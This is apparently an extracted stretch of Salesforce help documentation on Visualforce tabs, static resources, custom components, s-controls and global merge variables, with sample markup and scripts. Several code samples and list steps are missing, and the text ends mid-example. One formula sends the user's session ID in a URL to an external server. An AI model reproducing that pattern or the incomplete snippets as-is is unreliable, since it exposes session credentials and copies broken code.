7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a
mobile web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 756. Review the considerations for building Visualforce pages that are compatible with mobile browsers before
mobilizing a Visualforce tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
1611
Develop What is a Static Resource?
8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For information
about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page
990. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
Visualforce tab.
9. Enter a description of the tab, if desired, and click Next.
10. Choose the user profiles for which the new custom tab will be available:
• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.
11. Specify the custom apps that should include the new tab. See What is an App? on page 1361 for information on custom
apps.
12. Check Append tab to users' existing personal customizations to add the new tab to your users’ customized
display settings if they have customized their personal display.
13. Click Save.
See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide
Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and
.jar files), images, stylesheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:
• You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
• You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding
document IDs:
or
<apex:includeScript
value="{!$Resource.MyJavascriptFile}"/>
1612
Develop What is a Static Resource?
- To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when
you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:
or
<apex:includeScript
value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>
• You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in
your CSS file, namedstyles.css, you have the following style:
When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create
an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure
is preserved in the archive. Then upload the archive file as a static resource named “style_resources”. Then, in your page,
add the following component:
Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the
image is displayed.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static
resources apply to your organization's quota of data storage.
See Also:
Defining Static Resources
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
1613
Develop Defining Static Resources
• Private specifies that the static resource data cached on the Salesforce.com server shouldn't be shared with other
users. The static resource is only stored in cache for the current user's session.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's
profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static
resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to
45 days for the static resources to expire from the Salesforce.com cache and any intermediate caches.
• Public specifies that the static resource data cached on the Salesforce.com server be shared with other users in your
organization for faster load times.
The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sites—enabled organizations that use the static resource.
7. Click Save.
1614
Develop Managing Static Resources
Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a
loss of data.
See Also:
What is a Static Resource?
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
After creating static resources, you can customize, edit, and delete them. Click Setup ➤ Develop ➤ Static Resources to
display the Static Resources list page, which shows the list of resources defined for your organization. From this page you can:
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.
See Also:
What is a Static Resource?
Defining Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
1615
Develop Viewing and Editing Static Resources
Click Setup ➤ Develop ➤ Static Resources and click the name of a resource to view its details, including its MIME type,
the size of the resource in bytes, when it was created, and when it was last modified.
From the detail page, you can do any of the following:
See Also:
What is a Static Resource?
Defining Static Resources
Managing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
Salesforce.com provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>,
that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library.
A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists
of:
For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border
color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every
photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color,
and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your
1616
Develop Defining Custom Components
organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components
such as <apex:dataTable> or <apex:relatedList>.
Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility
because:
• Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute
can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that
instance of the component. This behavior differs from that of templates, which do not have a way of passing information
from the page that uses a template to the template's definition itself.
• Custom component descriptions are displayed in the application's component reference dialog alongside standard component
descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce.com
because they are defined as pages.
See Also:
Defining Custom Components
Managing Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
Developer's Guide: Force.com Apex Code Developer's Guide
1617
Develop Defining Custom Components
version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and
the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
8. Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes
and continue editing your component. Your Visualforce markup must be valid before you can save your component.
Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom
component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that
allows you to create a new component definition (including any specified attributes) based on the name that you
provided for the component.
For example, if you have not yet defined a custom component named myNewComponent and insert
<c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix
allows you to define a new custom component named myNewComponent with the following default definition:
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>
You can modify this definition in the Setup area by clicking Setup ➤ Develop ➤ Components and then clicking
Edit next to the myNewComponent custom component.
See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide
To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the
API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the
version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce,
the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with
specific, known behavior.
1618
Develop Defining Custom Components
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com.
Note: Package components and custom component are distinct concepts. A package is comprised of many components,
such as custom objects, Apex classes and triggers, and custom components.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for a custom component:
2. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with the custom component.
3. Click Save.
• If you save a custom component that references a managed package without specifying a version of the managed package,
the custom component is associated with the latest installed version of the managed package by default.
• You cannot Remove a custom component's version setting for a managed package if the package is referenced by the
custom component. Use Show Dependencies to find where the managed package is referenced.
See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide
1619
Develop Managing Custom Components
After creating custom components, you can view, edit and delete them. Click Setup ➤ Develop ➤ Components to display
the Components list page, which shows the list of custom components defined for your organization. From this page you can:
Note: A icon indicates that a Visualforce custom component is in an installed managed package. You cannot
edit or delete a Visualforce custom component in a managed package. A icon indicates that a Visualforce custom
component in a previously released managed package will be deleted on the next package upload. You can choose
to undelete the Visualforce custom component through the package detail page.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.
See Also:
What is a Custom Component?
Defining Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
1620
Develop Viewing and Editing Custom Components
Click Setup ➤ Develop ➤ Components and click the name of a custom component to view its definition.
From the detail page, you can do any of the following:
To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce
and the API. If the page references package components, such as a custom object, in an installed managed package, the version
settings for each managed package referenced by the custom component are saved too.
Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance
is the host name of your Salesforce.com instance (for example, na3.salesforce.com) and the value of nameOfNewComponent
is the value of the Name field on the custom component definition.
The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content
of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component,
add it to a Visualforce page and then view the page.
See Also:
What is a Custom Component?
Defining Custom Components
Managing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide
1621
Develop Defining Custom S-Controls
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce.com
such as: custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the
Salesforce.com user interface, including the ability to create and display your own custom data forms.
An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX
control, an Excel file, or a custom HTML Web form.
To define an s-control:
Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 1629.
Description Text that describes the s-control. This only displays to administrators.
1622
Develop Defining Custom S-Controls
• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 931.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
• To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use
the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive}
merge field.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25
Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
1623
Develop Defining Custom S-Controls
4. Optionally, click Check Syntax to validate all Salesforce.com merge fields and functions.
5. Click Save when you are finished. Alternatively, click Quick Save to save and continue editing.
Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix,
Salesforce.com automatically prepends them with the your namespace prefix.
6. Create a custom button or link to display the custom s-control to your users. See Defining Custom Buttons and Links on
page 990. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control
to a dashboard. You can also use an s-control as online help content for a custom object. For instructions on creating
object-level help, see Defining Object-Level Help on page 1255.
See Also:
Useful S-Controls
Tips on Building S-Controls
Understanding Global Variables
Viewing and Editing S-Controls
Deleting Custom S-Controls
About S-Controls
Documentation Resources for Force.com Developers
About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use s-controls to add your own functionality to your Salesforce.com organization. Whether you are integrating a hosted
application of your own or are extending your current Salesforce.com user interface, use s-controls to store your code or refer
to code elsewhere.
1624
Develop Defining Custom S-Controls
Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X
control, an Excel file, or a custom HTML Web form.
S-controls have the following attributes:
Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 1629.
Description Text that describes the s-control. This only displays to administrators.
Content Enter the content or source for your s-control. You can enter up to 1 million characters in this
field. The HTML code defines exactly how your users should view the custom s-control.
• If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose
a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one of
the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields
on those objects.
• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 931.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions drop-down
list. Select a function and click Help on this function to view a description and examples
of formulas using that function.
• To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the
1625
Develop Defining Custom S-Controls
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25
Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Filename Upload a file to display when you add this custom s-control to a custom link. The file can contain
a Java applet, Active-X control, or any other type of content you want. This option only applies
to HTML s-controls.
Prebuild In Page This option keeps the s-control in memory, which may improve performance when the page is
reloaded because the s-control does not have to be reloaded as well. This option only applies to
HTML s-controls.
Encoding The default encoding setting is Unicode (UTF-8). Change it if you are passing information to
a URL that requires data in a different format. This option is available when you select URL
for the Type.
See Also:
Useful S-Controls
Defining Custom S-Controls
Documentation Resources for Force.com Developers
1626
Develop Defining Custom S-Controls
• For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with
the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access.
• For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access
restrictions provide only limited protection for s-controls. Salesforce.com recommends that you understand the JavaScript
in an s-control before relying on access restriction for s-control security.
• If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.
S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Global Variable
A special merge field that you can use to reference data in your organization. For more information, see Understanding
Global Variables on page 1636.
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display
in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Snippet
A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other
methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse
in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 1629.
1627
Develop Defining Custom S-Controls
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
To view the details of a custom s-control, click Setup ➤ Develop ➤ S-Controls and select the s-control name. For a description
of the s-control attributes, see About S-Controls on page 1624.
• To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 1622.
• To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 1628.
• To view a list of other components in Salesforce.com that reference the s-control, click Where is this used?. For more
information, see Viewing References to Salesforce.com Components on page 999.
See Also:
Useful S-Controls
Tips on Building S-Controls
About S-Controls
Documentation Resources for Force.com Developers
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Salesforce.com empowers you to reference s-controls in many different areas within the application. Before deleting a custom
s-control, check where it is used.
To delete a custom s-control:
1628
Develop Defining Custom S-Controls
Note: You cannot delete a custom s-control that is used elsewhere in Salesforce.com. Deleted s-controls do not go
into the Recycle Bin.
See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Setting Custom Buttons and Links
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
See Also:
Defining Custom S-Controls
Tips on Building S-Controls
Understanding Global Variables
About S-Controls
Overriding Standard Buttons and Tab Home Pages
Documentation Resources for Force.com Developers
1629
Develop Defining Custom S-Controls
Yahoo Map
Use the Yahoo Map API and the billing address merge fields to display a map for an account. Use the following code in an
HTML s-control and add it to your account detail page layout:
<html>
<head>
<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>
<style type="text/css">
#mapContainer {
height: 200px;
width: 100%;
}
</style>
</head>
<body>
<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
var map = new YMap(document.getElementById('mapContainer'));
// Display the map centered on given address
map.drawZoomAndCenter("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
// Set marker at that address
map.addMarker("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
</script>
</body>
</html>
<html>
<head>
<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Opportunity Info:</b>
<br>
Opportunity ID: {!Opportunity.Id}
1630
Develop Defining Custom S-Controls
<br>
Opportunity Name: {!Opportunity.Name}
<br>
Opportunity Record Type: {!Opportunity.RecordType}
<br>
</body>
</html>
To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided.
Then, override the add product action from the opportunity products object using the s-control. This example assumes you
have record types on opportunities.
Note: This example does not include the code to add products. The content in the body section simply illustrates
how to use opportunity merge fields from the opportunity products related list. Replace the body section with your
code.
<script type="text/javascript">
</script>
To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer
than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to
determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the
EditLeadsOpenLongerThan30 s-control.
Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if
statement that evaluates on the browser. The second is the Salesforce.com IF function that evaluates on the server and returns
a single value—the number of days the lead has been open, or zero if the lead is not open.
Tip: Use the URLFOR function in this example to build Salesforce.com URLs rather than specifying individual
URLs to ensure they are supported across releases.
To display a standard Salesforce.com page without invoking the override, set the no override argument in the
URLFOR function to “true.”
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.
1631
Develop Defining Custom S-Controls
<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>
To implement this functionality, create an HTML s-control with the content above inserting your code in the body section.
Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the
Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists.
Note: This example does not include the code to edit contacts. The code within the body section only illustrates how
to use contact merge fields to display information about the contact. Replace the body section with your code.
<script type="text/javascript">
</script>
To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using
the s-control.
Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to
null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to
null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop.
<html>
<head>
1632
Develop Defining Custom S-Controls
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from CaseSolution Where CaseId =
'{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View, Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p> </p>
</body>
</html>
To implement this functionality, create an HTML s-control with the content above. Then, override the close case action
using the s-control. The s-control displays a message to users when they click Close Case on a case with no associated solutions.
If the case is associated with at least one solution, the standard close case page displays as usual. This override does not apply
to records updated using the API.
Tip: Use the URLFOR function in this example to build Salesforce.com URLs rather than specifying individual
URLs to ensure they are supported across releases.
To display a standard Salesforce.com page without invoking the override, set the no override argument in the
URLFOR function to “true.”
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.
For more information on using this function, see URLFOR on page 982.
<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};
1633
Develop Defining Custom S-Controls
}
</script>
Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named
“Recruiter” exists in your organization.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.
Including Snippets
Include snippets in your custom s-controls to reuse common code. The following example references a snippet that provides
a header for a page that displays in a web tab. The page will have the title “My Title.” Use the $SControl global variable to
reference a snippet. To implement this, create two snippets called “Resize_Iframe_head” and “Resize_Iframe_onload” and
create an HTML s-control called “Resize_Iframe_sample” that includes the following code:
<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>
For more information on using this function, see INCLUDE on page 956.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
• If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you
put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers.
• Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
• Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the
organization has selected. The Theme1 value for this merge field represents the Salesforce.com Classic theme and Theme2
represents the Salesforce.com theme. To view this merge field in an example, see Useful S-Controls on page 1629.
1634
Develop Defining Custom S-Controls
• S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which
can include one or more merge fields, functions, or global variables.
• When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the
page. For example, the following s-control overrides the case close action:
<html>
<head>
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from CaseSolution Where CaseId
= '{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View, Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p> </p>
</body>
</html>
See Also:
Defining Custom S-Controls
Useful S-Controls
Understanding Global Variables
About S-Controls
Documentation Resources for Force.com Developers
1635
Develop Defining Custom S-Controls
Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge
fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add
to your custom component:
$Action
Description: A global merge field type to use when referencing standard
Salesforce.com actions such as displaying the Accounts tab
home page, creating new accounts, editing accounts, and
deleting accounts. Use action merge fields in LINKTO and
URLFOR functions to reference the action selected.
Use:
1. Select the field type: $Action.
2. Insert a merge field in the format
$Action.object.action, such as
$Action.Account.New.
Note: For a list of actions and their supported
objects, see Valid Values for the $Action Global
Variable on page 1652.
S-Control Example: The s-control below references the standard action for creating
new accounts in the $Action.Account.New merge field.
<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>
1636
Develop Defining Custom S-Controls
Tips: This global variable is only available for custom buttons and
links, s-controls, and Visualforce pages.
$Api
Description: A global merge field type to use when referencing API URLs.
Use:
1. Select the field type: $Api.
2. Select a merge field, such as:
• $Api.Enterprise_Server_URL__xxx: The
Enterprise WSDL SOAP endpoint where xxx
represents the version of the API. For example,
$Api.Enterprise_Server_URL_140 is the merge
field value for version 14.0 of the API.
• $Api.Partner_Server_URL__xxx: The Partner
WSDL SOAP endpoint where xxx represents the
version of the API. $Api.Partner_Server_URL_120
is the merge field value for version 12.0 of the API.
• $Api.Session_ID: The session ID.
S-Control Example: The custom formula field below calls a service to replace the
SIC code. Replace myserver with the name of your server.
HYPERLINK("https://www.myserver.com/mypage.jsp"
&
"?Username=" & $User.Username &
"&crmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" &
$Api.Partner_Server_URL_90 &
"&crmObjectId=" & Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")
$Component
Description: A global merge field type to use when referencing a Visualforce
component.
1637
Develop Defining Custom S-Controls
document.getElementById('{!$component.msgpost}').value
= myEditor.getEditorHTML();
}
$componentLabel
Description: A global merge field to use when referencing the label of an inputField component
on a Visualforce page that is associated with a message.
Use: Return the label of an inputField component that is associated with a message.
Visualforce Example: <apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:"
style="color:red/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>
$CurrentPage
Description: A global merge field type to use when referencing the current Visualforce page.
Use: Use this expression in a Visualforce page to access the current page parameters and values, the current
page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
Visualforce Example: <apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>
$Label
Description: A global merge field type to use when referencing a custom
label in a Visualforce page.
1638
Develop Defining Custom S-Controls
$Label.Site
Description: A global merge field type to use when referencing a standard label in a Visualforce page. Like all
standard labels, the text will display based on the user's language and locale.
Use: Use this expression in a Visualforce page to access a standard label. When the application server
constructs the page to be presented to the end-user’s browser, the value returned depends on the
language and locale of the user.
Salesforce.com provides the following labels:
Label Message
authorization_required Authorization Required
bandwidth_limit_exceeded Bandwidth Limit Exceeded
change_password Change Password
change_your_password Change Your Password
click_forget_password If you have forgotten your password, click Forgot
Password to reset it.
community_nickname Nickname
confirm_password Confirm Password
down_for_maintenance <i>{0}</i> is down for maintenance
email Email
email_us email us
enter_password Did you forget your password? Please enter your username
below.
error Error: {0}
1639
Develop Defining Custom S-Controls
Label Message
error2 Error
file_not_found File Not Found
forgot_password Forgot Password
forgot_password_confirmation Forgot Password Confirmation
forgot_your_password_q Forgot Your Password?
get_in_touch Please <a href="{0}">{1}</a> if you need to get in touch.
go_to_login_page Go to Login Page
img_path /img/sites
in_maintenance Down For Maintenance
limit_exceeded Limit Exceeded
login Login
login_button Login
login_or_register_first You must first log in or register before accessing this page.
logout Logout
new_password New Password
new_user_q New User?
old_password Old Password
page_not_found Page Not Found
page_not_found_detail Page Not Found: {0}
password Password
passwords_dont_match Passwords did not match.
powered_by Powered by
register Register
resistration_confirmation Registration Confirmation
site_login Site Login
site_under_construction Site Under Construction
sorry_for_inconvenience Sorry for the inconvenience.
sorry_for_inconvenience_back_shortly Sorry for the inconvenience. We'll be back shortly.
stay_tuned Stay tuned.
submit Submit
temp_password_sent An email has been sent to you with your temporary
password.
1640
Develop Defining Custom S-Controls
Label Message
thank_you_for_registering Thank you for registering. An email has been sent to you
with your temporary password.
under_construction <i>{0}</i> is under construction
user_registration New User Registration
username Username
verify_new_password Verify New Password
$ObjectType
Description: A global merge field type to use when referencing standard
or custom objects such as accounts, cases, or opportunities as
well as the value of a field on that object. Use object type merge
fields in LINKTO, GETRECORDIDS, and URLFOR
functions to reference a specific type of data or the VLOOKUP
function to reference a specific field in a related object.
Use:
1. Select the field type: $ObjectType.
2. Select an object to insert a merge field representing that
object, such as $ObjectType.Case.
Optionally, select a field on that object using the following
syntax:
$ObjectType.Role_Limit__c.Fields.Limit__c
.
Custom Button Example: The custom list button below references the cases standard
object in the$ObjectType.Case merge field.
{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
var records =
{!GETRECORDIDS($ObjectType.Case)};
var newRecords = [];
if (records[0] == null)
{
alert("Please select at least one row")
}
1641
Develop Defining Custom S-Controls
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result =
